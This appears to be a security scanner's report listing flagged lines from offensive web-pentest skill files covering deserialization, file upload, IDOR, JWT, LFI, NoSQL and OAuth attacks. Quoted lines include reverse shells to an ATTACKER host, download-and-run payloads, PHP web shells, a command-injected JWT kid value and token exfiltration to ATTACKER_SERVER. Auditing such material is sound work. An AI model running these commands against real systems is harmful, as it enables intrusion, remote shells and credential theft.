    # Generate URLDNS payload — triggers DNS callback, no RCE java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" > payload.bin
  • Network accessline 101
    java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" > payload.bin
  • Network accessline 103
    # Base64 encode for HTTP parameters java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" | base64 -w0
  • Network accessline 104
    java -jar ysoserial.jar URLDNS "http://COLLABORATOR.oastify.com" | base64 -w0
  • Network accessline 106
    # Send via curl (base64 in parameter)
  • Network accessline 107
    curl -X POST https://TARGET/endpoint \
  • Network accessline 108
    -d "data=$(java -jar ysoserial.jar URLDNS 'http://ID.oastify.com' | base64 -w0)"
  • Network accessline 171
    # Generate the base64 payload: echo -n 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' | base64
  • Dangerous shell operationline 172
    echo -n 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' | base64
  • Network accessline 172
    echo -n 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' | base64
  • Network accessline 175
    # Method 2: Use ysoserial-modified (handles pipes/redirects natively) java -jar ysoserial-modified.jar CommonsCollections5 \   'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
  • Dangerous shell operationline 176
    java -jar ysoserial-modified.jar CommonsCollections5    'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
  • Network accessline 176
    java -jar ysoserial-modified.jar CommonsCollections5    'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
  • Dangerous shell operationline 177
    'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
  • Network accessline 177
    'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
  • Network accessline 179
    # Method 3: Download and execute java -jar ysoserial.jar CommonsCollections5 \   'curl http://ATTACKER/shell.sh -o /tmp/s.sh'
  • Network accessline 180
    java -jar ysoserial.jar CommonsCollections5    'curl http://ATTACKER/shell.sh -o /tmp/s.sh'
  • Network accessline 181
    'curl http://ATTACKER/shell.sh -o /tmp/s.sh'
  • Network accessline 185
    # Windows: certutil download java -jar ysoserial.jar CommonsCollections5 \   'cmd /c certutil -urlcache -split -f http://ATTACKER/payload.exe c:\temp\p.exe'
  • Network accessline 186
    java -jar ysoserial.jar CommonsCollections5    'cmd /c certutil -urlcache -split -f http://ATTACKER/payload.exe c:\temp\p.exe'
  • Network accessline 187
    'cmd /c certutil -urlcache -split -f http://ATTACKER/payload.exe c:\temp\p.exe'
  • Network accessline 193
    # HTTP POST parameter (base64) curl -X POST https://TARGET/endpoint \
  • Network accessline 194
    curl -X POST https://TARGET/endpoint \
  • Network accessline 197
    # HTTP cookie curl https://TARGET/ -b \
  • Network accessline 198
    curl https://TARGET/ -b \
  • Network accessline 201
    # Raw binary (Content-Type: application/x-java-serialized-object) java -jar ysoserial.jar CommonsCollections5 'id' | \   curl -X POST https://TARGET/endpoint \
  • Network accessline 202
    java -jar ysoserial.jar CommonsCollections5 'id' |    curl -X POST https://TARGET/endpoint
  • Network accessline 203
    curl -X POST https://TARGET/endpoint \
  • Access to secretsline 235
    [Credential-related source omitted]
  • Network accessline 244
    # Terminal 1: Start LDAP referral server java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \   marshalsec.jndi.LDAPRefServer "http://ATTACKER:8000/#Exploit"
  • Network accessline 245
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar    marshalsec.jndi.LDAPRefServer "http://ATTACKER:8000/#Exploit"
  • Network accessline 246
    marshalsec.jndi.LDAPRefServer "http://ATTACKER:8000/#Exploit"
  • Network accessline 252
    try {             Runtime.getRuntime().exec(                 new String[]{"bash", "-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"});
  • Network accessline 253
    Runtime.getRuntime().exec(                 new String[]{"bash", "-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"});         } catch (Exception e) { e.printStackTrace(); }
  • Dangerous shell operationline 254
    new String[]{"bash", "-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"});
  • Network accessline 254
    new String[]{"bash", "-c", "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"});
  • Network accessline 317
    # Check for exposed invoker servlets curl -v http://TARGET/invoker/JMXInvokerServlet
  • Network accessline 318
    curl -v http://TARGET/invoker/JMXInvokerServlet
  • Network accessline 319
    curl -v http://TARGET/invoker/EJBInvokerServlet
  • Network accessline 321
    # If accessible, send ysoserial payload directly java -jar ysoserial.jar CommonsCollections5 'id' | \   curl -X POST http://TARGET/invoker/JMXInvokerServlet \
  • Network accessline 322
    java -jar ysoserial.jar CommonsCollections5 'id' |    curl -X POST http://TARGET/invoker/JMXInvokerServlet
  • Network accessline 323
    curl -X POST http://TARGET/invoker/JMXInvokerServlet \
  • Network accessline 327
    # Automated: JexBoss python3 jexboss.py -u http://TARGET:8080
  • Network accessline 328
    python3 jexboss.py -u http://TARGET:8080
  • Network accessline 334
    # Jenkins CLI protocol uses serialized objects # Check for /cli endpoint curl http://TARGET/cli
  • Network accessline 336
    curl http://TARGET/cli
  • Network accessline 338
    # Exploit pre-2.x Jenkins with commons-collections java -jar ysoserial.jar CommonsCollections1 'id' | \   curl -X POST http://TARGET/cli \
  • Network accessline 339
    java -jar ysoserial.jar CommonsCollections1 'id' |    curl -X POST http://TARGET/cli
  • Network accessline 340
    curl -X POST http://TARGET/cli \

skills/web/deserialization-php/SKILL.md

  • Network accessline 61
    - A PHP deserialization endpoint (`unserialize()` on user input, or filesystem   function accepting `phar://`) - Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),
  • Network accessline 62
    function accepting `phar://`) - Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),   Burp Suite for request interception
  • Network accessline 63
    - Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),
  • Network accessline 170
    # Inject into parameter curl -X POST https://TARGET/endpoint \
  • Network accessline 171
    curl -X POST https://TARGET/endpoint \
  • Network accessline 270
    # If app has: file_exists($_GET['file'])    curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"
  • Network accessline 271
    curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"
  • Network accessline 273
    # If app has: getimagesize($_GET['url'])    curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"
  • Network accessline 274
    curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"

skills/web/file-upload-bypass/SKILL.md

  • Network accessline 288
    body = @(exec://whoami) ; SSRF via http magic operator test = @(http://169.254.169.254/latest/meta-data/)
  • Network accessline 290
    test = @(http://169.254.169.254/latest/meta-data/)
  • Dangerous shell operationline 310
    exiftool -Artist='<?php system($_GET["cmd"]); __halt_compiler(); ?>'           -Copyright='<?php eval($_POST["x"]); ?>' legit.jpg
  • Dangerous shell operationline 311
    -Copyright='<?php eval($_POST["x"]); ?>' legit.jpg
  • Network accessline 434
    http://target.com/uploads/file.php
  • Network accessline 435
    http://target.com/uploads/file.php%20
  • Network accessline 539
    push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/x.jpg"|id > /tmp/proof")'
  • Network accessline 540
    viewbox 0 0 640 480 fill 'url(https://127.0.0.1/x.jpg"|id > /tmp/proof")' pop graphic-context
  • Network accessline 541
    fill 'url(https://127.0.0.1/x.jpg"|id > /tmp/proof")'
  • Network accessline 614
    - Try common paths: `/uploads/`, `/images/`, `/media/`, `/files/`, `/tmp/` - Check HTML source for upload form action and any path hints - Fuzz with ffuf: `ffuf -u http://TARGET/FUZZ/filename.ext -w common.txt`
  • Network accessline 616
    - Fuzz with ffuf: `ffuf -u http://TARGET/FUZZ/filename.ext -w common.txt`

skills/web/idor/SKILL.md

  • Network accessline 25
    - ffuf   - curl opsec: low
  • Network accessline 26
    - curl opsec: low ---
  • Network accessline 107
    # Get your own resource (baseline — note response structure) curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 108
    curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 109
    "https://TARGET/api/users/YOUR_ID/profile"
  • Network accessline 111
    # Try another user's ID (change ONLY the ID, keep your auth) curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 112
    curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 113
    "https://TARGET/api/users/OTHER_ID/profile"
  • Network accessline 127
    for id in 1336 1338 1 2 100 1000; do   echo -n "ID $id: "   curl -s -o /dev/null -w "%{http_code}" \
  • Network accessline 128
    echo -n "ID $id: "   curl -s -o /dev/null -w "%{http_code}" \     -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 129
    curl -s -o /dev/null -w "%{http_code}" \
  • Network accessline 131
    "https://TARGET/api/users/$id/profile"
  • Network accessline 140
    for method in GET POST PUT PATCH DELETE; do   echo -n "$method: "   curl -s -o /dev/null -w "%{http_code}" -X $method \
  • Network accessline 141
    echo -n "$method: "   curl -s -o /dev/null -w "%{http_code}" -X $method \     -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 142
    curl -s -o /dev/null -w "%{http_code}" -X $method \
  • Network accessline 144
    "https://TARGET/api/users/OTHER_ID/profile"
  • Network accessline 152
    # Try modifying another user's data curl -s -X PUT -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 153
    curl -s -X PUT -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 154
    -H "Content-Type: application/json" \   -d '{"email": "attacker@evil.com"}' \   "https://TARGET/api/users/OTHER_ID/profile"
  • Network accessline 156
    "https://TARGET/api/users/OTHER_ID/profile"
  • Network accessline 158
    # Try deleting another user's resource curl -s -X DELETE -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 159
    curl -s -X DELETE -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 160
    "https://TARGET/api/users/OTHER_ID/documents/456"
  • Network accessline 171
    # If the API returns a role field, try including it in an update request curl -s -X PUT -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 172
    curl -s -X PUT -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 173
    -H "Content-Type: application/json" \   -d '{"role": "admin"}' \   "https://TARGET/api/users/YOUR_ID/profile"
  • Network accessline 175
    "https://TARGET/api/users/YOUR_ID/profile"
  • Network accessline 187
    # Try accessing admin endpoints with a regular user session curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 188
    curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 189
    "https://TARGET/api/admin/users" curl -s -H "Cookie: session=LOW_PRIV_SESSION" \   "https://TARGET/api/admin/dashboard"
  • Network accessline 190
    curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 191
    "https://TARGET/api/admin/dashboard" curl -s -H "Cookie: session=LOW_PRIV_SESSION" \   "https://TARGET/api/internal/config"
  • Network accessline 192
    curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 193
    "https://TARGET/api/internal/config"
  • Network accessline 195
    # Try alternate API versions (often less secure) curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 196
    curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 197
    "https://TARGET/api/v1/admin/users" curl -s -H "Cookie: session=LOW_PRIV_SESSION" \   "https://TARGET/api/mobile/admin/users"
  • Network accessline 198
    curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 199
    "https://TARGET/api/mobile/admin/users"
  • Network accessline 205
    # Actions restricted in UI but not in API # Export all users (admin function) curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 206
    # Export all users (admin function) curl -s -H "Cookie: session=LOW_PRIV_SESSION" \   "https://TARGET/api/users/export?format=csv"
  • Network accessline 207
    curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 208
    "https://TARGET/api/users/export?format=csv"
  • Network accessline 210
    # Approve/reject actions curl -s -X POST -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 211
    curl -s -X POST -H "Cookie: session=LOW_PRIV_SESSION" \
  • Network accessline 212
    -H "Content-Type: application/json" \   -d '{"status": "approved"}' \   "https://TARGET/api/requests/789/approve"
  • Network accessline 214
    "https://TARGET/api/requests/789/approve"
  • Network accessline 259
    # Single request for multiple objects curl -s -X POST -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 260
    curl -s -X POST -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 265
    {"method": "GET", "path": "/api/users/3"}   ]' \   "https://TARGET/api/batch"
  • Network accessline 266
    ]'    "https://TARGET/api/batch"
  • Network accessline 267
    "https://TARGET/api/batch"
  • Network accessline 269
    # Bulk export (if it exists) curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 270
    curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 271
    "https://TARGET/api/users?ids=1,2,3,4,5"
  • Network accessline 277
    # Direct file reference curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 278
    curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 279
    "https://TARGET/download?file_id=OTHER_FILE_ID"
  • Network accessline 281
    # Path-based file reference curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 282
    curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 283
    "https://TARGET/files/OTHER_USER/document.pdf"
  • Network accessline 285
    [Credential-related source omitted]
  • Network accessline 286
    [Credential-related source omitted]
  • Network accessline 331
    # Try XML if JSON fails: curl -s -X POST -H "Content-Type: application/xml" \
  • Network accessline 332
    curl -s -X POST -H "Content-Type: application/xml" \
  • Network accessline 334
    "https://TARGET/api/resource"
  • Network accessline 354
    # X-HTTP-Method-Override curl -s -X POST -H "X-HTTP-Method-Override: PUT" \
  • Network accessline 355
    curl -s -X POST -H "X-HTTP-Method-Override: PUT" \
  • Network accessline 356
    -H "Cookie: session=YOUR_SESSION" \   -d '{"role": "admin"}' \   "https://TARGET/api/users/YOUR_ID"
  • Network accessline 358
    "https://TARGET/api/users/YOUR_ID"
  • Network accessline 368
    # Some APIs accept wildcards curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 369
    curl -s -H "Cookie: session=YOUR_SESSION" \
  • Network accessline 370
    "https://TARGET/api/users/*/profile" curl -s "https://TARGET/api/users?id=*" curl -s "https://TARGET/api/files?name=*.pdf"
  • Network accessline 371
    curl -s "https://TARGET/api/users?id=*"
  • Network accessline 372
    curl -s "https://TARGET/api/files?name=*.pdf"
  • Network accessline 382
    # Enumerate user profiles (sequential integer IDs) ffuf -u "https://TARGET/api/users/FUZZ/profile" \
  • Network accessline 383
    ffuf -u "https://TARGET/api/users/FUZZ/profile" \
  • Network accessline 389
    # Filter by response size to remove empty/error responses ffuf -u "https://TARGET/api/users/FUZZ/profile" \
  • Network accessline 390
    ffuf -u "https://TARGET/api/users/FUZZ/profile" \
  • Network accessline 404
    url = "https://TARGET/api/users/{}/profile"
  • Network accessline 408
    for uid in range(1, 10001):     r = requests.get(url.format(uid), cookies=cookies)
  • Network accessline 409
    r = requests.get(url.format(uid), cookies=cookies)

skills/web/jwt-attacks/SKILL.md

  • Network accessline 69
    parameter) - Tools: `jwt_tool` (`pip install jwt-tool` or clone   https://github.com/ticarpi/jwt_tool), `hashcat` (mode 16500), Burp Suite
  • Network accessline 70
    - Tools: `jwt_tool` (`pip install jwt-tool` or clone   https://github.com/ticarpi/jwt_tool), `hashcat` (mode 16500), Burp Suite   with JWT Editor extension
  • Network accessline 71
    https://github.com/ticarpi/jwt_tool), `hashcat` (mode 16500), Burp Suite
  • Network accessline 112
    # Common JWKS endpoints curl -s https://TARGET/.well-known/jwks.json
  • Network accessline 113
    curl -s https://TARGET/.well-known/jwks.json
  • Network accessline 114
    curl -s https://TARGET/jwks.json
  • Network accessline 115
    curl -s https://TARGET/openid/connect/jwks.json
  • Network accessline 116
    curl -s https://TARGET/api/keys
  • Network accessline 117
    curl -s https://TARGET/oauth2/v1/certs
  • Network accessline 215
    Check against the [jwt-secrets](https://github.com/wallarm/jwt-secrets) wordlist (3500+ entries):
  • Network accessline 334
    {   "kid": "/path/to/key; curl http://ATTACKER/$(whoami)"
  • Network accessline 335
    "kid": "/path/to/key; curl http://ATTACKER/$(whoami)"
  • Network accessline 374
    # jwt_tool — automatic jku spoofing python3 jwt_tool.py eyJ0eXAi... -X s -ju https://ATTACKER/jwks.json
  • Network accessline 375
    python3 jwt_tool.py eyJ0eXAi... -X s -ju https://ATTACKER/jwks.json
  • Network accessline 404
    "typ": "JWT",   "kid": "attacker",   "jku": "https://ATTACKER:8080/jwks.json"
  • Network accessline 405
    "kid": "attacker",   "jku": "https://ATTACKER:8080/jwks.json" }
  • Network accessline 406
    "jku": "https://ATTACKER:8080/jwks.json"
  • Network accessline 410
    **jku URL restrictions bypass** (if server validates domain): - `https://TARGET/.well-known/jwks.json@ATTACKER/jwks.json`
  • Network accessline 411
    - `https://TARGET/.well-known/jwks.json@ATTACKER/jwks.json`
  • Network accessline 412
    - `https://TARGET#@ATTACKER/jwks.json`
  • Network accessline 413
    - `https://ATTACKER/jwks.json?TARGET`
  • Network accessline 414
    - Open redirect on target: `https://TARGET/redirect?url=https://ATTACKER/jwks.json`
  • Network accessline 415
    - Fragment: `https://TARGET/.well-known/jwks.json#ATTACKER`
  • Network accessline 425
    # Host cert, set x5u header to https://ATTACKER/attacker.crt

skills/web/ldap-injection/SKILL.md

  • Network accessline 18
    - burpsuite   - curl opsec: medium
  • Network accessline 19
    - curl opsec: medium ---
  • Network accessline 279
    URL = "http://TARGET/login"
  • Network accessline 290
    """Send login request, return True if match."""     data = {USERNAME_FIELD: payload_user, PASSWORD_FIELD: payload_pass}     r = requests.post(URL, data=data, allow_redirects=False)
  • Network accessline 291
    data = {USERNAME_FIELD: payload_user, PASSWORD_FIELD: payload_pass}     r = requests.post(URL, data=data, allow_redirects=False)     return SUCCESS_INDICATOR in r.text or r.status_code == 302
  • Network accessline 292
    r = requests.post(URL, data=data, allow_redirects=False)

skills/web/lfi/SKILL.md

  • Network accessline 231
    # Install the generator git clone https://github.com/synacktiv/php_filter_chain_generator
  • Network accessline 232
    git clone https://github.com/synacktiv/php_filter_chain_generator
  • Network accessline 251
    # Poison the User-Agent curl -A '<?php system($_GET["cmd"]); ?>' 'http://TARGET/'
  • Network accessline 252
    curl -A '<?php system($_GET["cmd"]); ?>' 'http://TARGET/'
  • Network accessline 306
    # Set User-Agent to PHP code curl -A '<?php system($_GET["cmd"]); ?>' \
  • Network accessline 307
    curl -A '<?php system($_GET["cmd"]); ?>' \
  • Network accessline 308
    'http://TARGET/vuln.php?page=../../../proc/self/environ&cmd=id'
  • Access to secretsline 370
    [Credential-related source omitted]
  • Access to secretsline 390
    [Credential-related source omitted]
  • Network accessline 450
    # Basic RFI http://ATTACKER/shell.txt
  • Network accessline 451
    http://ATTACKER/shell.txt
  • Network accessline 465
    **SSRF pivot:** If the LFI uses `file_get_contents()`, `include()`, or similar functions that accept `http://` URLs, the vulnerability is also an SSRF
  • Network accessline 466
    functions that accept `http://` URLs, the vulnerability is also an SSRF
  • Network accessline 467
    primitive. Test with `http://127.0.0.1/` — if it returns content, report the
  • Network accessline 527
    # LFISuite — automated LFI scanner python lfimap.py -U 'http://TARGET/vuln.php?file=PWN' -a
  • Network accessline 528
    python lfimap.py -U 'http://TARGET/vuln.php?file=PWN' -a
  • Network accessline 533
    # Kadimus — LFI scanner kadimus -u 'http://TARGET/vuln.php?page=FILE'
  • Network accessline 534
    kadimus -u 'http://TARGET/vuln.php?page=FILE'
  • Network accessline 536
    # wrapwrap — file leak with prefix/suffix python3 wrapwrap.py --parameter file --url 'http://TARGET/vuln.php' \
  • Network accessline 537
    python3 wrapwrap.py --parameter file --url 'http://TARGET/vuln.php' \

skills/web/nosql-injection/SKILL.md

  • Network accessline 201
    url = "http://TARGET/login"
  • Network accessline 212
    [Credential-related source omitted]
  • Network accessline 213
    username, password + c)         r = requests.post(url, data=payload, headers=headers,                           allow_redirects=False)
  • Network accessline 214
    r = requests.post(url, data=payload, headers=headers,
  • Network accessline 232
    url = "http://TARGET/login"
  • Network accessline 240
    for c in charset:         payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"         r = requests.post(url, data=payload, headers=headers,
  • Network accessline 241
    payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"         r = requests.post(url, data=payload, headers=headers,                           allow_redirects=False)
  • Network accessline 242
    r = requests.post(url, data=payload, headers=headers,
  • Network accessline 262
    url = "http://TARGET/login"
  • Network accessline 268
    [Credential-related source omitted]
  • Network accessline 269
    [Credential-related source omitted]
  • Network accessline 270
    r = requests.post(url, json=payload, allow_redirects=False)
  • Network accessline 472
    # NoSQLMap — automated enumeration and exploitation python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
  • Network accessline 473
    python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
  • Network accessline 476
    # nosqli — Go-based scanner nosqli scan -t "http://TARGET/login" -p username,password
  • Network accessline 477
    nosqli scan -t "http://TARGET/login" -p username,password

skills/web/oauth-attacks/SKILL.md

  • Network accessline 26
    - jwt_tool   - curl opsec: low
  • Network accessline 27
    - curl opsec: low ---
  • Access to secretsline 73
    [Credential-related source omitted]
  • Network accessline 94
    # Check for OpenID Connect discovery curl -s "https://TARGET/.well-known/openid-configuration" | jq .
  • Network accessline 95
    curl -s "https://TARGET/.well-known/openid-configuration" | jq .
  • Network accessline 96
    curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .
  • Network accessline 112
    client_id=APP_CLIENT_ID&   response_type=code&           # or token, id_token   redirect_uri=https://app.com/callback&
  • Network accessline 113
    response_type=code&           # or token, id_token   redirect_uri=https://app.com/callback&   scope=openid+email+profile&
  • Network accessline 114
    redirect_uri=https://app.com/callback&
  • Network accessline 147
    # Try arbitrary domain https://IDP/authorize?...&redirect_uri=https://attacker.com/callback
  • Network accessline 148
    https://IDP/authorize?...&redirect_uri=https://attacker.com/callback
  • Network accessline 150
    # Try subdomain variants https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
  • Network accessline 151
    https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
  • Network accessline 152
    https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback
  • Network accessline 154
    # Try localhost https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
  • Network accessline 155
    https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
  • Network accessline 161
    # Bypass directory-level checks https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
  • Network accessline 162
    https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
  • Network accessline 163
    https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
  • Network accessline 171
    # App has open redirect at /redirect?url= https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
  • Network accessline 172
    https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
  • Network accessline 181
    # Multiple redirect_uri parameters https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
  • Network accessline 182
    https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
  • Network accessline 184
    # Redirect within redirect https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
  • Network accessline 185
    https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
  • Network accessline 191
    # Null byte https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com
  • Network accessline 192
    https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com
  • Network accessline 194
    # At sign (userinfo bypass) https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback
  • Network accessline 195
    https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback
  • Network accessline 197
    # Fragment https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com
  • Network accessline 198
    https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com
  • Network accessline 200
    # Protocol-relative https://IDP/authorize?...&redirect_uri=//attacker.com/callback
  • Network accessline 201
    https://IDP/authorize?...&redirect_uri=//attacker.com/callback
  • Network accessline 209
    # Invalid scope may change validation behavior https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
  • Network accessline 210
    https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
  • Network accessline 221
    # Remove state from authorization request https://IDP/authorize?...&state=
  • Network accessline 222
    https://IDP/authorize?...&state=
  • Network accessline 232
    # Complete OAuth flow normally, capture the callback: https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE
  • Network accessline 233
    https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE
  • Network accessline 235
    # Replay with modified state: https://app.com/callback?code=AUTH_CODE&state=ANYTHING
  • Network accessline 236
    https://app.com/callback?code=AUTH_CODE&state=ANYTHING
  • Network accessline 245
    <!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code --> <!-- 2. Victim clicks this link (or auto-redirected) --> <a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>
  • Network accessline 247
    <a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>
  • Network accessline 261
    # First redemption (should work) curl -s -X POST "https://IDP/token" \
  • Network accessline 262
    curl -s -X POST "https://IDP/token" \
  • Network accessline 263
    -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
  • Network accessline 265
    # Second redemption (should fail — if it works, codes are reusable) curl -s -X POST "https://IDP/token" \
  • Network accessline 266
    curl -s -X POST "https://IDP/token" \
  • Network accessline 267
    -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
  • Network accessline 276
    [Credential-related source omitted]
  • Access to secretsline 276
    [Credential-related source omitted]
  • Network accessline 277
    [Credential-related source omitted]
  • Access to secretsline 277
    [Credential-related source omitted]
  • Network accessline 288
    # Wait 15+ minutes curl -s -X POST "https://IDP/token" \
  • Network accessline 289
    curl -s -X POST "https://IDP/token" \
  • Network accessline 290
    -d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback"
  • Network accessline 303
    url = "https://IDP/token"
  • Network accessline 307
    [Credential-related source omitted]
  • Network accessline 308
    [Credential-related source omitted]
  • Access to secretsline 308
    [Credential-related source omitted]
  • Network accessline 309
    "redirect_uri": "https://app.com/callback"
  • Network accessline 314
    def redeem():     r = requests.post(url, data=data)
  • Network accessline 315
    r = requests.post(url, data=data)
  • Access to secretsline 322
    [Credential-related source omitted]
  • Network accessline 331
    [Credential-related source omitted]
  • Network accessline 332
    [Credential-related source omitted]
  • Access to secretsline 332
    [Credential-related source omitted]
  • Network accessline 347
    # Check if callback page loads third-party resources curl -s "https://app.com/callback?code=test" | \
  • Network accessline 348
    curl -s "https://app.com/callback?code=test" | \
  • Network accessline 357
    [Credential-related source omitted]
  • Network accessline 358
    [Credential-related source omitted]
  • Access to secretsline 358
    [Credential-related source omitted]
  • Network accessline 370
    // Capture tokens from postMessage   if (event.data && (event.data.access_token || event.data.code)) {     fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 371
    [Credential-related source omitted]
  • Access to secretsline 371
    [Credential-related source omitted]
  • Network accessline 372
    fetch('https://ATTACKER_SERVER/exfil', {
  • Network accessline 379
    <!-- Open the OAuth callback in a popup --> <script> var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
  • Network accessline 380
    <script> var popup = window.open('https://IDP/authorize?...&response_mode=web_message'); </script>
  • Network accessline 381
    var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
  • Network accessline 422
    # OIDC uses nonce to prevent token replay # Test: omit nonce from authorization request https://IDP/authorize?...&nonce=
  • Network accessline 424
    https://IDP/authorize?...&nonce=
  • Network accessline 435
    curl -s -X POST "https://IDP/register" \
  • Network accessline 439
    "redirect_uris": ["https://attacker.com/callback"],
  • Network accessline 440
    "logo_uri": "http://169.254.169.254/latest/meta-data/",
  • Network accessline 441
    "jwks_uri": "http://internal.server:8080/sensitive",
  • Network accessline 442
    "sector_identifier_uri": "http://192.168.1.1/admin"
  • Network accessline 453
    # Try redeeming code without code_verifier curl -s -X POST "https://IDP/token" \
  • Network accessline 454
    curl -s -X POST "https://IDP/token" \
  • Network accessline 455
    -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
  • Network accessline 464
    # Request with plain instead of S256 https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain
  • Network accessline 465
    https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain
  • Network accessline 467
    # Redeem with same value as both challenge and verifier curl -s -X POST "https://IDP/token" \
  • Network accessline 468
    curl -s -X POST "https://IDP/token" \
  • Network accessline 479
    # Authorization was granted for scope=read # Try requesting more at token endpoint curl -s -X POST "https://IDP/token" \
  • Network accessline 480
    # Try requesting more at token endpoint curl -s -X POST "https://IDP/token" \   -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"
  • Network accessline 481
    curl -s -X POST "https://IDP/token" \
  • Network accessline 482
    -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"
  • Network accessline 490
    # Refresh token and request additional scopes curl -s -X POST "https://IDP/token" \
  • Network accessline 491
    curl -s -X POST "https://IDP/token" \
  • Network accessline 498
    # ROPC grant bypasses browser-based 2FA curl -s -X POST "https://IDP/token" \
  • Network accessline 499
    [Credential-related source omitted]
  • Access to secretsline 499
    [Credential-related source omitted]
  • Access to secretsline 500
    [Credential-related source omitted]
  • Network accessline 519
    <img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" />
  • Network accessline 526
